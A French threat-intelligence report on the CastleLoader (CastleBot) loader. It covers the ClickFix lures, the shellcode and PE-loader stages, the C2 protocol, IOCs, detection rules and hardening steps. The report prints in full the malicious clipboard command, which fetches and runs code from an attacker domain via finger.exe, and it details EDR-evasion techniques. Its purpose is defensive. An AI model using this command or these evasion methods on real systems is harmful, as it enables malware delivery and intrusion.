Chargeur de logiciels malveillants en tant que service · Également suivi sous le nom CastleBot · Observé pour la première fois début 2025 ·
Présentation
CastleLoader est une plateforme de logiciels malveillants en tant que service ciblant Windows, active depuis le début de l’année 2025. Les analyses publiques de logiciels malveillants suivent la même famille sous le nom CastleBot et la décrivent comme une plateforme à trois composants : un stager en shellcode, un chargeur PE et une porte dérobée principale. TAG-150 est associé aux activités de CastleLoader ainsi qu’à une famille apparentée de chevaux de Troie d’accès à distance appelée CastleRAT (variante Python : PyNightshade).
La fonction de la plateforme est ciblée : établir une présence sur un terminal Windows sain, relever l’empreinte de l’hôte, s’enregistrer auprès du C2 et exécuter toute charge utile secondaire planifiée par l’opérateur. Les charges utiles dont la distribution a été confirmée comprennent NetSupport RAT, WARMCOOKIE (BadSpace), DeerStealer, RedLine, StealC, SectopRAT, Hijack Loader, MonsterV2 (Aurotun Stealer), Rhadamanthys et Remcos. Une onzième charge, un infostealer .NET personnalisé nommé « CastleStealer », a été documentée en avril 2026. Les rapports publics signalent que NetSupport et WARMCOOKIE ont déjà été liés à des opérateurs de ransomware, ce qui positionne CastleLoader comme un composant amont crédible dans les chaînes d’attaque de ransomware actuelles, même s’il ne déploie pas lui-même de ransomware.
Sur le plan opérationnel, CastleLoader est important parce qu’il élimine l’artefact sur disque lors de l’accès initial. Les rapports publics font état de 1 634 tentatives d’infection et de 469 compromissions confirmées entre mai et juillet 2025, soit un taux de conversion de 28,7 %, particulièrement élevé pour un chargeur. Le ciblage est large mais cohérent : administrations américaines, sociétés de services IT, secteur de la logistique et infrastructures critiques en Amérique du Nord et en Europe.
CastleLoader ne semble pas apparaître sur les places de marché du dark Web. Les rapports publics n’ont relevé aucune preuve de publicité ouverte, ce qui suggère un modèle d’affiliation fermé, réservé à des opérateurs approuvés. Cela complique l’attribution sans pour autant ralentir la diffusion.
CHAÎNE D’ATTAQUE OPÉRATIONNELLE · DE CLICKFIX À CASTLELOADER
Départ
Surface de leurre
Empoisonnement SEO · faux GitHub · page ClickFix
1
ÉTAPE 1
Charge utile du presse-papiers
JavaScript écrit la commande cmd dans le presse-papiers
2
ÉTAPE 2 — UTILISATEUR
Win+R → coller → Entrée
finger.exe / curl récupère l’étape suivante
3
ÉTAPE 3
Stager en shellcode
Hachage DJB2 · parcours du PEB · déchiffrement XOR
AutoItpythonwDave
4
ÉTAPE 4
Le chargeur PE mappe le composant principal
NtAllocateVirtualMemory · insertion dans PEB_LDR
5
ÉTAPE 5
Porte dérobée principale · attribution des tâches C2
ChaCha20 · jeton User-Agent propre à chaque build
IMPACT
Déploiement des charges utiles
→ infostealers · RAT · précurseurs de ransomware
Tactiques, techniques et procédures
CastleLoader correspond à plusieurs tactiques MITRE ATT&CK Enterprise. La plus forte densité de techniques se situe dans les phases Exécution et Contournement des défenses, ce qui est cohérent avec une plateforme conçue pour déjouer simultanément l’analyse fondée sur les signatures et la mise en correspondance des comportements. La carte de couverture ci-dessous combine les correspondances publiques de CastleBot, les observations de campagnes et la variante BackgroundFix divulguée en avril 2026.
Les attaquants utilisent de faux portails de téléchargement optimisés pour les moteurs de recherche, de faux référentiels GitHub et des pages Web similaires afin de préparer la distribution de CastleLoader avant l’exécution par l’utilisateur. Cela soutient l’accès initial, mais la technique elle-même est classée dans Développement des ressources plutôt que dans Accès initial.
Pages ClickFix sur le thème de Cloudflare, faux référentiels GitHub usurpant des outils fiables et faux sites de suppression d’arrière-plan suivis sous le nom BackgroundFix. De fausses pages de signature de documents et de connexion à des services d’identité ont également été observées en train de distribuer CastleLoader via ClickFix.
Les victimes sont invitées à coller des commandes cmd ou powershell dans la boîte de dialogue Exécuter. Les variantes de type BackgroundFix appellent finger.exe vers un démon finger contrôlé par l’attaquant ; la réponse est analysée via for /f "skip=8 delims=" et le contenu de la neuvième ligne est exécuté via call. Les étapes suivantes peuvent s’exécuter au moyen de pythonw.exe avec la distribution Python embarquable légitime, d’une distribution AutoIt via un script empaqueté, de commandes PowerShell, de commandes BAT, de l’exécution de DLL via regsvr32.exe, de l’exécution de MSI via msiexec.exe et de tâches reposant sur des API natives. La plateforme de tâches de juillet 2025 prend en charge neuf méthodes de lancement, notamment EXE, DLL, injection PE, PowerShell, BAT et MSI.
Selon l’analyse publique, le composant principal utilise l’interface COM ITaskService pour enregistrer une tâche planifiée déclenchée par TASK_TRIGGER_LOGON. La persistance est configurée par l’opérateur pour chaque tâche via le champ startup_method = 1 et n’est pas systématique dans toutes les campagnes.
Contournement des défenses (toutes les versions Windows prises en charge)
Dans toutes les versions Windows prises en charge, le chargeur PE insère une structure LDR_DATA_TABLE_ENTRY et le LDR_DDAG_NODE correspondant dans les listes doublement chaînées PEB_LDR_DATA du processus hôte, de sorte que le PE injecté apparaisse comme une bibliothèque légitimement chargée lors de l’énumération des modules par l’EDR. Le stager résout les API à l’aide du hachage DJB2 et de valeurs de hachage encodées sur la pile, ce qui déjoue les recherches de modèles de chaînes. Les contrôles anti-VM utilisent l’instruction cpuid avec la feuille 0x40000000 pour détecter les signatures des hyperviseurs VMware et Parallels.
Sous Windows 11 24H2 et versions ultérieures, CastleLoader utilise une voie de contournement supplémentaire propre au système d’exploitation : il intercepte NtManageHotPatch dans la mémoire de ntdll afin de contourner le nouveau contrôle d’intégrité mémoire. L’injection standard se poursuit ensuite via QueueUserAPC et ResumeThread, ce qui réduit le nombre d’appels WriteProcessMemory par rapport à l’ancienne voie d’injection.
Le composant principal énumère le nom d’utilisateur (GetUserNameW), le nom NetBIOS (GetComputerNameW), l’architecture (IsWow64Process), la version de Windows (RtlGetVersion) et le domaine DNS local (LsaQueryInformationPolicy). L’identifiant de victime est calculé à partir du numéro de série du volume (GetVolumeInformationW) au moyen d’un générateur congruentiel linéaire avec le multiplicateur 0x41C64E6D et l’incrément 0x3039.
HTTP, et non HTTPS, vers une URL de base codée en dur. La récupération initiale des paramètres est une requête GET non chiffrée vers /service/settings/<campaign_id>. Tout le trafic suivant est chiffré avec ChaCha20 au moyen de la clé et du nonce de la configuration intégrée. Le User-Agent est une chaîne alphanumérique aléatoire propre au build, access_key dans la configuration et également envoyée dans le corps chiffré, et non un véritable User-Agent de navigateur ou de robot. Les téléchargements du stager utilisent Googlebot comme User-Agent.
ÉTAPE 1T1566.002 · T1189 · T1608.006 (Développement des ressources)
La surface de leurre
Les campagnes CastleLoader s’appuient sur trois surfaces de leurre convergentes. La principale repose sur une ingénierie sociale de type ClickFix. Les victimes arrivent sur une fausse page de vérification via des résultats de recherche Google empoisonnés ou du malvertising. Les thèmes documentés incluent des imitations de Cloudflare Turnstile, de fausses pages DocuSign et Okta, de fausses invites de mise à jour du navigateur et, depuis avril 2026, de faux sites d’édition d’images proposant de « supprimer l’arrière-plan » à l’aide de l’IA. L’analyse publique de la campagne BackgroundFix a révélé huit domaines apparentés utilisant le même modèle. Un JavaScript intégré écrit silencieusement une commande malveillante dans le presse-papiers via document.execCommand("copy") et contacte un terminal de journalisation au moyen de navigator.sendBeacon, fournissant à l’opérateur des données télémétriques sur les visiteurs atteignant l’étape du collage.
La deuxième surface repose sur de faux référentiels GitHub. Les rapports publics documentent des référentiels usurpant des bibliothèques SQL Server Management Studio (SSMS-lib) et un connecteur client, afin de cibler les développeurs recherchant des outils fiables et d’exploiter l’idée selon laquelle un contenu hébergé sur GitHub serait nécessairement sûr.
La troisième surface repose sur des installateurs trojanisés diffusés au moyen d’un empoisonnement SEO. Les rapports publics ont documenté des installateurs SSMS piégés ainsi que des packages de pilotes de chipset AMD proposés sur de faux portails de téléchargement mieux classés que les pages officielles des éditeurs. Cette voie contourne entièrement ClickFix. L’utilisateur clique sur Télécharger sur un site qui paraît légitime, puis exécute un installateur contenant un stager CastleLoader intégré, chargé latéralement au moyen d’un binaire signé et d’une DLL altérée. L’analyse publique des logiciels malveillants attribue, dans certaines campagnes, cette étape au crypteur Dave.
ÉTAPE 2T1059.001 · T1059.003 · T1204.004
La charge utile du presse-papiers
La chaîne placée dans le presse-papiers varie selon les campagnes. La variante BackgroundFix documentée par une analyse publique en avril 2026 est la plus intéressante techniquement, car elle contourne entièrement PowerShell :
Modèle documenté par l’analyse publique de la campagne BackgroundFix
%COMSPEC% /k start "" /min for /f "skip=8 delims=" %h in ('finger nrLeDHDESi@cheeshomireciple[.]com') do call %h & exit && echo ' ---Verify you are human--------press ENTER--- '
Modèle documenté par l’analyse publique de la campagne BackgroundFix
Quatre éléments interviennent : start "" /min lance l’étape suivante en mode réduit afin qu’aucune console ne s’affiche à l’écran. finger.exe, un binaire Windows fourni quasiment sans modification depuis NT, interroge un démon finger contrôlé par l’attaquant sur le port TCP 79 à l’adresse cheeshomireciple[.]com. La commande for /f "skip=8 delims=" ignore les huit lignes de bannière renvoyées par défaut par un démon finger classique ; la neuvième ligne contient le corps réel de la commande, alimenté depuis le fichier ~/.plan de l’opérateur avec des autorisations de lecture pour tous. call %h exécute le contenu de cette ligne comme une nouvelle commande. Le dernier echo sert uniquement à afficher l’invite « appuyez sur ENTRÉE » attendue par la victime et à parachever la mise en scène d’ingénierie sociale.
La réponse renvoyée par finger est un script batch qui télécharge la distribution Python embarquable légitime de la Python Software Foundation depuis python.org, en la renommant avec une extension .pdf pendant le téléchargement, l’extrait avec tar.exe, puis lance pythonw.exe sur un stager Python. Celui-ci se décompresse en trois couches — base64, zlib et UTF-32 — avant de récupérer un second script Python qui remplace des caractères cyrilliques par leurs équivalents latins avant son propre décodage base64 (« Ф » → « / », « В » → « R », etc.) afin de déjouer les recherches naïves de chaînes. Le script Python final est un chargeur de shellcode ctypes qui appelle HeapCreate(0x00040000) (HEAP_CREATE_ENABLE_EXECUTE) et HeapAlloc(0x00000008) (HEAP_ZERO_MEMORY) pour créer en une seule étape une allocation de tas exécutable, puis transfère l’exécution au shellcode déchiffré via CFUNCTYPE.
Les campagnes antérieures documentées par les analyses publiques utilisaient une variante PowerShell : Invoke-WebRequest téléchargeait une archive ZIP nommée d’après un GUID dans %APPDATA%, Expand-Archive la décompressait, puis le fichier .au3 déposé était lancé au moyen de l’interpréteur AutoIt3 inclus. Les deux voies livrent le même stager en shellcode de l’étape 3.
ÉTAPE 3T1620 · T1027.007 · T1497.001
Le stager en shellcode
Le composant exécuté ensuite n’est pas CastleLoader à proprement parler. Il s’agit d’un shellcode distinct d’environ 8,6 Ko, que les rapports publics appellent le stager, conçu pour amorcer le chargeur PE et la porte dérobée principale sans écrire sur le disque. Sa première tâche consiste à construire une table de fonctions API sans utiliser les importations Windows habituelles.
Le stager résout les API en parcourant le PEB et en appliquant le hachage DJB2 (initialisation à 5381, multiplication par 33, puis ajout de chaque octet). Il déréférence les données du chargeur du PEB via InLoadOrderModuleList, parcourt chaque entrée, convertit en ASCII le nom de module UNICODE et le hache ; le résolveur d’exports parcourt ensuite AddressOfNames, hache chaque nom et recherche le RVA correspondant via AddressOfNameOrdinals et AddressOfFunctions.
La recherche de hachage présente une particularité inhabituelle dans la variante BackgroundFix. Au lieu de transmettre le hachage cible comme argument de fonction, le résolveur le lit dans les 32 bits de poids fort de l’adresse de retour stockée sur la pile. Chaque site d’appel empile un littéral de 64 bits dont le dword inférieur est la sentinelle 0xFFFFFFFF et le dword supérieur le hachage DJB2 attendu. Le résolveur vérifie le dword inférieur pour confirmer qu’une véritable adresse de retour a été empilée, puis compare le hachage de chaque export au dword supérieur. Les hachages deviennent ainsi invisibles à la plupart des recherches fondées sur des modèles de chaînes, car ils n’apparaissent que comme valeurs immédiates dans des instructions push, et non comme données.
Le stager télécharge ensuite deux charges utiles via HTTP en utilisant Googlebot comme User-Agent codé en dur. Les analyses publiques documentent des URL de la forme http://<C2>/service/download/data_3x.bin et /data_4x.bin. Les deux charges sont déchiffrées par XOR au moyen d’une chaîne UTF-16 codée en dur ; dans l’échantillon publié, la clé était GySDoSGySDoS. Le déchiffrement produit deux artefacts : le PE intégré qui devient la porte dérobée principale et un stub de shellcode qui devient le chargeur PE. Le stager appelle ensuite VirtualProtect pour marquer la région du chargeur comme PAGE_EXECUTE_READWRITE et lui transmet comme argument un pointeur vers le PE déchiffré.
La variante BackgroundFix utilise une technique de contournement supplémentaire. Au lieu d’effectuer un saut direct vers la charge utile déchiffrée de l’étape suivante, le shellcode lui transfère le contrôle via ReplaceTextW, l’API de la boîte de dialogue Rechercher et remplacer de Windows provenant de comdlg32.dll. Le shellcode construit sur la pile une structure FINDREPLACEW avec FR_ENABLEHOOK activé et lpfnHook pointant vers le point d’entrée de la charge utile. Windows appelle le hook lors de WM_INITDIALOG avant même l’affichage de la boîte de dialogue, ce qui transfère l’exécution sans produire le schéma évident « le shellcode saute vers sa propre mémoire tampon » surveillé par la plupart des EDR.
ÉTAPE 4T1620 · T1055.012
Le chargeur PE
Le chargeur PE CastleBot déchiffré est un chargeur PE réflexif complet. Il commence par appeler directement NtAllocateVirtualMemory plutôt que l’enveloppe VirtualAlloc — VirtualAlloc fait partie des API Win32 les plus souvent interceptées ; descendre d’un niveau permet donc de contourner entièrement ces hooks. Il mappe chaque section PE dans l’allocation, parcourt le répertoire de relocalisation afin de corriger les adresses absolues, résout les importations au moyen du même mécanisme de hachage DJB2 que le stager, définit les protections mémoire des sections et exécute les éventuelles fonctions de rappel TLS enregistrées.
L’étape destinée à déjouer la détection intervient ensuite. Le chargeur crée une nouvelle structure LDR_DATA_TABLE_ENTRY ainsi que le LDR_DDAG_NODE correspondant, étendu dans Windows 8 et versions ultérieures, puis les ajoute aux listes doublement chaînées PEB_LDR_DATA du processus hôte. Pour les agents EDR qui énumèrent les modules chargés via le PEB, le PE injecté devient impossible à distinguer d’une DLL chargée par le chargeur Windows normal. Sauf si le fichier injecté est une DLL, le chargeur remplace également PEB.ImageBaseAddress par l’adresse de base de la nouvelle image ; les appels GetModuleHandle(NULL) suivants renvoient alors le PE injecté plutôt que le processus hôte, ce qui permet aux charges utiles conçues pour être l’EXE principal de se retrouver correctement.
Dans une voie de secours, si l’allocation à l’adresse de base préférée du PE intégré échoue et que le PE ne possède aucun répertoire de relocalisation, le chargeur appelle directement NtUnmapViewOfSection, et non UnmapViewOfFile, pour évincer le module présent à cette adresse, selon une forme classique de process hollowing. La plupart des infections BackgroundFix n’utilisent pas cette voie, car l’injection se produit dans un processus python.exe nouvellement lancé, où l’adresse de base préférée est généralement libre. Lorsqu’elle est activée, la cible du démappage est le module qui se trouve à l’adresse préférée dans le processus hôte, et non un processus victime lancé séparément.
Le chargeur PE transfère le contrôle au PE intégré en lisant AddressOfEntryPoint dans son en-tête facultatif, en l’ajoutant à la nouvelle adresse de base de l’image, en convertissant le résultat en pointeur de fonction, puis en l’appelant. L’exécution quitte alors le chargeur et se poursuit dans la porte dérobée principale.
ÉTAPE 5T1071.001 · T1573.001 · T1082 · T1106
La porte dérobée principale et l’attribution des tâches C2
La porte dérobée principale correspond à ce que la plupart des rapports publics nomment « CastleLoader » à proprement parler. Elle remplace la résolution d’API fondée sur DJB2 par une variante du hachage AP élaboré par Arash Partow (état initial 0xAAAAAAAA, transformation des indices pairs (state << 7) ^ (c * (state >> 3)), transformation des indices impairs ~((state << 11) + (c ^ (state >> 5)))). Cet algorithme diffère suffisamment de la routine de hachage du stager/chargeur pour qu’un outil de dépaquetage statique conçu pour l’un ne fonctionne pas sur l’autre.
Au démarrage, le composant principal déchiffre sa configuration intégrée. Presque toutes les chaînes du binaire sont stockées en UTF-16 et déchiffrées en ligne au moyen d’une clé XOR unique de 4 octets par chaîne, plutôt que d’une clé maîtresse. La structure de configuration obtenue contient l’identifiant de campagne, l’URL de base du C2, la clé d’accès propre au build, utilisée à la fois comme User-Agent et comme champ access_key du corps, l’identifiant du mutex/de l’instance, la clé ChaCha20 de 32 octets et le nonce ChaCha20 de 12 octets.
Le composant principal crée un mutex portant le nom de l’identifiant d’instance, qui limite à une seule instance par campagne sur l’hôte, puis envoie une requête HTTP GET non chiffrée à http://<c2_base>/service/settings/<campaign_id>. La réponse est chiffrée avec ChaCha20 et contient quatre indicateurs contrôlés par l’opérateur :
run_as_admin : relance le processus parent via ShellExecuteW avec le verbe runas afin d’obtenir une élévation de privilèges
anti_vm : exécute l’instruction cpuid avec la feuille 0x40000000 et recherche les signatures d’hyperviseur VMware ou Parallels ; quitte si elles sont détectées
prevent_restart : crée un fichier masqué dans C:\ProgramData\<instance_id> comme marqueur de prévention de réinfection ; quitte si le fichier existe déjà
show_fake_error : affiche une boîte de dialogue intitulée « System Error » contenant le message « The program can't start because VCRUNTIME140.dll is missing from your computer. Try reinstalling the program to fix this problem. »
Le composant principal énumère ensuite l’hôte : nom d’utilisateur (GetUserNameW), nom NetBIOS (GetComputerNameW), domaine DNS local (LsaQueryInformationPolicy), architecture (IsWow64Process), version de Windows (RtlGetVersion) et identifiant de victime dérivé du numéro de série du volume au moyen d’un générateur congruentiel linéaire (multiplicateur 0x41C64E6D, incrément 0x3039). Il encapsule ces données dans le format de conteneur sérialisé avec la clé d’accès et l’identifiant de campagne, chiffre le tout avec ChaCha20, puis l’envoie par POST à /service/tasks.
La réponse du C2 est un conteneur comprenant zéro ou plusieurs définitions de tâches. Chaque tâche possède un id, une url de récupération de la charge utile, un install_path qui peut être vide pour les tâches en mémoire, un chemin réel ou la valeur spéciale :SELF: signifiant une injection dans une copie du processus parent, un champ argument, des options de chiffrement (is_encrypted_container + container_encryption_key pour RC4), une option de persistance (startup_method = 1 enregistre une tâche planifiée via COM ITaskService avec TASK_TRIGGER_LOGON) et le champ essentiel launch_method. La mise à jour de juillet 2025 a porté le nombre de méthodes de lancement de six à neuf : EXE via CreateProcessW ou ShellExecuteW (1), DLL via rundll (2), DLL via regsrv32.exe (3), DLL via LoadLibraryW (4), ancien mécanisme d’injection PE (5), injection PE via le chargeur PE et QueueUserAPC (6), commande PowerShell (7), commande BAT (8), MSI via msiexec.exe (9). Un indicateur wow64_bypass impose l’exécution du binaire SysWOW64 32 bits.
La méthode 6 constitue l’ajout opérationnel le plus important. Pour contourner le contrôle d’intégrité de la mémoire ajouté dans Windows 11 24H2, le chargeur intercepte NtManageHotPatch dans la mémoire de ntdll à l’aide d’une preuve de concept publique documentée par Hasherezade, puis utilise QueueUserAPC + ResumeThread afin de transférer l’exécution au stub du chargeur PE intégré dans le processus cible. Par rapport à une injection classique, cette méthode réduit fortement le nombre d’appels WriteProcessMemory interprocessus et laisse donc moins de signaux comportementaux.
L’achèvement de la tâche est signalé par une requête HTTP GET à /service/tasks/complete/id/<task_id> sur le même C2.
Arborescence des processus
Aspect de la chaîne d’attaque dans la télémétrie EDR
explorer.exe[PID 4124]// shell utilisateur normal
└─cmd.exe[PID 5612]/k start "" /min for /f ...Parent boîte de dialogue Exécuter
Les indicateurs ci-dessous sont durables : chemins de fichiers, modèles comportementaux, signatures réseau et empreintes de protocole restés cohérents entre les campagnes CastleLoader et résistant à la rotation des variantes. Les adresses IP et les hachages C2 propres à chaque campagne changent chaque semaine et ne sont pas inclus ici. Consultez l’analyse publique de campagne et les référentiels publics d’IOC pour obtenir la liste actuelle.
Chemins de fichiers et artefacts
6 indicateurs
Emplacements dans lesquels CastleLoader dépose des artefacts de préparation, de persistance ou auxiliaires.
C:\ProgramData\<instance_id>Marqueur masqué de prévention de réinfection (indicateur prevent_restart)
%ProgramData%\CeoliauD\DabkinaChemin de dépôt de NetSupport, campagne BackgroundFix
%APPDATA%\Roaming\<random>.exepython.exe renommé (BYOI) — nom issu de la concaténation de %RANDOM% dans cmd
%APPDATA%\*.au3 + AutoIt3.exeVoie de distribution AutoIt documentée publiquement ; « freely.a3x » pour un échantillon précis
%TEMP%\*.zip (nommé selon un GUID)Conteneur ZIP déposé par ClickFix via PowerShell (variantes antérieures)
Chaînes d’exécution parent-enfant indiquant qu’une chaîne d’attaque CastleLoader est en cours.
explorer.exe → cmd.exe → finger.exeAccès initial BackgroundFix, documenté par une analyse publique
explorer.exe → powershell.exe → Expand-Archive → AutoIt3.exeVoie PowerShell vers AutoIt documentée dans des campagnes publiques antérieures
cmd / finger → curl.exe → tar.exe → pythonw.exeChaîne Python BYOI — distribution Python embarquable légitime depuis python.org
[installateur trojanisé].exe → [binaire signé] → [DLL altérée]Chaîne de chargement latéral de DLL du crypteur Dave (installateurs SSMS, chipset AMD)
pythonw.exe → requête HTTP GET sortante /service/settings/...Modèle d’URI de connexion initiale de la porte dérobée principale
Comportement réseau
6 modèles
Modèles de trafic sortant observables au niveau du pare-feu, du proxy ou du DNS.
Port TCP 79 sortant (finger) depuis un terminalÉtape 2 de BackgroundFix — aucun cas d’usage légitime sur les terminaux en 2026
URI : /service/settings/<hex_campaign_id>Requête GET initiale non chiffrée du composant principal (rapports publics)
URI : /service/download/<name> (p. ex. data_3x.bin)Chemins de téléchargement des charges utiles du stager
URI : /service/tasks (POST) et /service/tasks/complete/id/NPoints de terminaison de récupération et d’achèvement des tâches du composant principal
User-Agent : jeton alphanumérique aléatoire (~20 à 32 caractères)access_key propre au build du composant principal, identique au champ du corps
User-Agent : Googlebot depuis des processus non serveurTéléchargements du stager — le véritable Googlebot ne provient jamais de terminaux
Artefacts mémoire et comportementaux
4 modèles
Modèles en mémoire et au niveau des API visibles par un EDR doté de rappels noyau ou de hooks en espace utilisateur.
Parcours du PEB depuis un shellcode de processus utilisateurLectures de fs:[0x30] / gs:[0x60] en dehors du chargeur ntdll
Écriture dans la liste PEB_LDR_DATA depuis un processus utilisateurInsertion LDR_DATA_TABLE_ENTRY + LDR_DDAG_NODE documentée publiquement
Correctif en mémoire de ntdll!NtManageHotPatchContournement du contrôle d’intégrité mémoire de Windows 11 24H2 documenté publiquement
Appel de ReplaceTextW avec FR_ENABLEHOOKContournement de l’intégrité mémoire Windows 11 24H2, signalé publiquement
ReplaceTextW invocation with FR_ENABLEHOOKTransfert de l’étape 3 de BackgroundFix via le hook de boîte de dialogue comdlg32
Domaines de la campagne BackgroundFix
8 domaines de leurre
Domaines identifiés par analyse publique au moyen de pivots Validin, utilisant tous le même modèle de fausse suppression d’arrière-plan. À utiliser pour la chasse rétrospective ; l’acteur malveillant renouvelle régulièrement son infrastructure.
ai-scan[.]digitalLeurre BackgroundFix
bg-transparency[.]onlineLeurre BackgroundFix
bg-go[.]onlineLeurre BackgroundFix
background-off[.]comLeurre BackgroundFix
bg-ready[.]onlineLeurre BackgroundFix
bg-removerok[.]onlineLeurre BackgroundFix
background-ready[.]onlineLeurre BackgroundFix
backgroundformat[.]onlineLeurre BackgroundFix
Recommandations de détection
CastleLoader est conçu pour déjouer l’analyse fondée sur les signatures : les charges utiles sont chiffrées en transit, déchiffrées uniquement en mémoire et ne sont jamais écrites sur le disque sous forme d’exécutables. La détection comportementale fonctionne parce que la chaîne associe l’activité du presse-papiers, l’utilisation de LOLBins peu courants, la manipulation du PEB et une connexion HTTP à la structure caractéristique, dans une séquence qu’aucune activité utilisateur légitime ne produit.
01
Corrélation entre le presse-papiers et les processus
Télémétrie des terminaux
Contenu du presse-papiers comprenant les chaînes cmd.exe /k, finger, powershell, Invoke-WebRequest, for /f "skip= ou pythonw, suivi dans les 30 secondes de l’exécution de ces binaires avec explorer.exe comme processus parent.
Pourquoi cela fonctionne : les utilisateurs légitimes collent très rarement ces chaînes dans la boîte de dialogue Exécuter. La fenêtre de 30 secondes permet de corréler le leurre et l’exécution tant que le contenu du presse-papiers est encore en mémoire et peut être inspecté.
02
Exécution de finger.exe depuis un contexte de shell utilisateur
Télémétrie EDR / des processus
Tout appel de finger.exe avec un argument correspondant à <user>@<domain> depuis un processus non administratif, en particulier lorsque cmd.exe ou explorer.exe est le parent. finger.exe est fourni avec Windows depuis NT, mais ne possède pratiquement plus aucun usage légitime sur les terminaux d’entreprise modernes.
Pourquoi cela fonctionne : il s’agit du signal de diagnostic le plus précis de la chaîne BackgroundFix. Le client finger Win32 établit des connexions TCP/79 sortantes que quasiment aucun terminal d’entreprise ne devrait jamais générer.
03
Python « bring-your-own-interpreter » depuis des chemins accessibles en écriture à l’utilisateur
Télémétrie EDR / des processus
Exécution de pythonw.exe ou python.exe depuis %APPDATA%, %LOCALAPPDATA% ou %TEMP%, en particulier lorsque la chaîne parente comprend tar.exe extrayant une archive portant une extension trompeuse (.pdf, .txt, .dat).
Pourquoi cela fonctionne : les installations Python légitimes résident dans C:\Python* ou %LOCALAPPDATA%\Programs\Python. L’exécution de Python depuis un chemin AppData itinérant indique presque toujours qu’un adversaire apporte son propre interpréteur afin de contourner les listes d’autorisation des langages de script.
04
Manipulation de la liste de modules PEB_LDR_DATA
Télémétrie EDR / des rappels noyau
Écritures dans les listes doublement chaînées InLoadOrderModuleList ou InMemoryOrderModuleList de PEB_LDR_DATA provenant de code utilisateur, notamment l’insertion de nouvelles paires LDR_DATA_TABLE_ENTRY + LDR_DDAG_NODE qui ne proviennent pas de ntdll!LdrLoadDll.
Pourquoi cela fonctionne : c’est à cet instant que le chargeur PE rend son PE en mémoire visible à l’énumération des modules en espace utilisateur. Les appels LoadLibrary légitimes sont traités par le chargeur ntdll et traçables via les rappels noyau standard ; l’insertion directe dans les listes ne l’est pas.
05
Correctif en mémoire de NtManageHotPatch
Télémétrie EDR / de protection mémoire
Écritures interprocessus ou intraprocessus dans l’export NtManageHotPatch de ntdll.dll. NtManageHotPatch ne devrait jamais être modifié en dehors de l’infrastructure de correctifs à chaud de Microsoft ; CastleLoader applique précisément un correctif en mémoire à cet endroit afin de contourner les contrôles d’intégrité mémoire de Windows 11 24H2 avant l’injection.
Pourquoi cela fonctionne : c’est l’indicateur le plus net qu’un injecteur a détecté le contrôle mémoire supplémentaire de Windows 11 24H2 et cherche activement à le neutraliser. La preuve de concept de Hasherezade est bien connue et le modèle du correctif est reconnaissable.
06
Trafic HTTP contenant les URI /service/settings/ ou /service/tasks
Journaux du pare-feu / proxy
Requêtes HTTP sortantes vers des URI correspondant aux modèles /service/settings/<hex>, /service/tasks, /service/download/<name> ou /service/tasks/complete/id/<N>. La valeur hexadécimale de l’URI settings est l’identifiant de campagne de 64 caractères.
Pourquoi cela fonctionne : ces modèles d’URI sont intégrés à la porte dérobée principale et restent visibles même lorsque le corps est chiffré avec ChaCha20. La requête GET initiale des paramètres n’est pas chiffrée, ce qui en fait le signal le plus facile à détecter au niveau du proxy.
07
Modèles de User-Agent inhabituels provenant de processus utilisateur
Journaux du pare-feu / proxy
Trafic HTTP sortant dont le User-Agent est soit (a) la chaîne littérale Googlebot depuis un terminal non serveur, soit (b) un jeton alphanumérique à forte entropie de 20 à 32 caractères ne contenant ni version ni nom de produit. Selon l’analyse publique, le stager de CastleLoader utilise Googlebot et le composant principal un jeton aléatoire propre au build, identique au champ access_key du corps.
Pourquoi cela fonctionne : le véritable robot d’exploration de Google ne provient pas des postes de travail. Les User-Agents constitués de jetons aléatoires n’ont aucun précédent dans les navigateurs ou applications légitimes et indiquent un client HTTP personnalisé.
Recommandations de durcissement
Les cinq contrôles ci-dessous bloquent les principales chaînes de distribution de CastleLoader sans coût de licence. Aucun ne nécessite l’achat d’un nouveau produit. Les éléments sont classés selon la difficulté de déploiement : Action rapide=une GPOou une règle unique, déployable en quelques jours. Standard=déploiementpréalable en mode audit, réalisable en quelques semaines.
1
Désactiver la boîte de dialogue Exécuter de Windows pour les utilisateurs non administrateurs
Action rapide
Définissez la stratégie de groupe NoRun pour les comptes utilisateur qui n’ont pas besoin d’accéder à la boîte de dialogue Exécuter. Cette mesure bloque Win+R, l’entrée « Exécuter… » du menu avancé Win+X et la boîte de dialogue Nouvelle tâche du Gestionnaire des tâches, soit toute la surface utilisée par ClickFix. Les utilisateurs ayant un besoin légitime, notamment les développeurs et l’équipe IT, peuvent être exemptés au moyen de leur placement dans une UO.
Chemin : Configuration utilisateur → Modèles d’administration → Menu Démarrer et barre des tâches → Supprimer le menu Exécuter du menu Démarrer. Ou registre : HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun = 1.2
2
Bloquer le port TCP sortant 79 (finger) à la sortie du réseau
Action rapide
finger.exe constitue le point d’entrée de l’étape 2 de BackgroundFix. Le client finger de Windows est fourni depuis NT et reste présent dans les versions actuelles de Windows, mais presque personne ne l’utilise en dehors de rares scénarios d’interopérabilité Unix. Le blocage du trafic TCP/79 sortant à la sortie du réseau ne coûte rien et interrompt toute la chaîne BackgroundFix dès sa première étape réseau.
Chemin : règle de sortie du pare-feu refusant TCP/79 depuis les sous-réseaux des terminaux. Vous pouvez l’associer à une règle AppLocker interdisant entièrement l’exécution de finger.exe aux utilisateurs non administrateurs.
3
Bloquer l’exécution depuis les chemins accessibles en écriture à l’utilisateur avec AppLocker ou WDAC
Standard
Interdisez l’exécution d’exécutables non signés depuis %APPDATA%, %LOCALAPPDATA% et %TEMP%. Cela bloque les étapes AutoIt3, pythonw (BYOI) et installateur trojanisé de toutes les variantes de CastleLoader avant l’exécution du shellcode du stager. Commencez en mode audit afin d’identifier les logiciels légitimes qui dépendent de ces chemins, puis appliquez la stratégie.
Chemin : Configuration ordinateur → Paramètres Windows → Paramètres de sécurité → Stratégies de contrôle des applications → AppLocker. Stratégies WDAC via la commande PowerShell New-CIPolicy.
4
Activer la journalisation des blocs de script PowerShell et le mode de langage contraint
Action rapide
La journalisation des blocs de script capture les chaînes Invoke-WebRequest / Expand-Archive obscurcies ainsi que les méthodes de lancement PowerShell (7) utilisées par la plateforme de tâches de CastleLoader, même lorsque les charges utiles s’auto-suppriment. Le mode de langage contraint restreint les fonctions de réflexion .NET utilisées par les attaquants pour exécuter des chargeurs en mémoire.
Chemin : Configuration ordinateur → Modèles d’administration → Composants Windows → Windows PowerShell → Activer la journalisation des blocs de script PowerShell. CLM via une stratégie Device Guard ou $ExecutionContext.SessionState.LanguageMode.
5
Restreindre l’exécution des LOLBins : regsvr32, msiexec, MSBuild, InstallUtil, RegSvcs
Standard
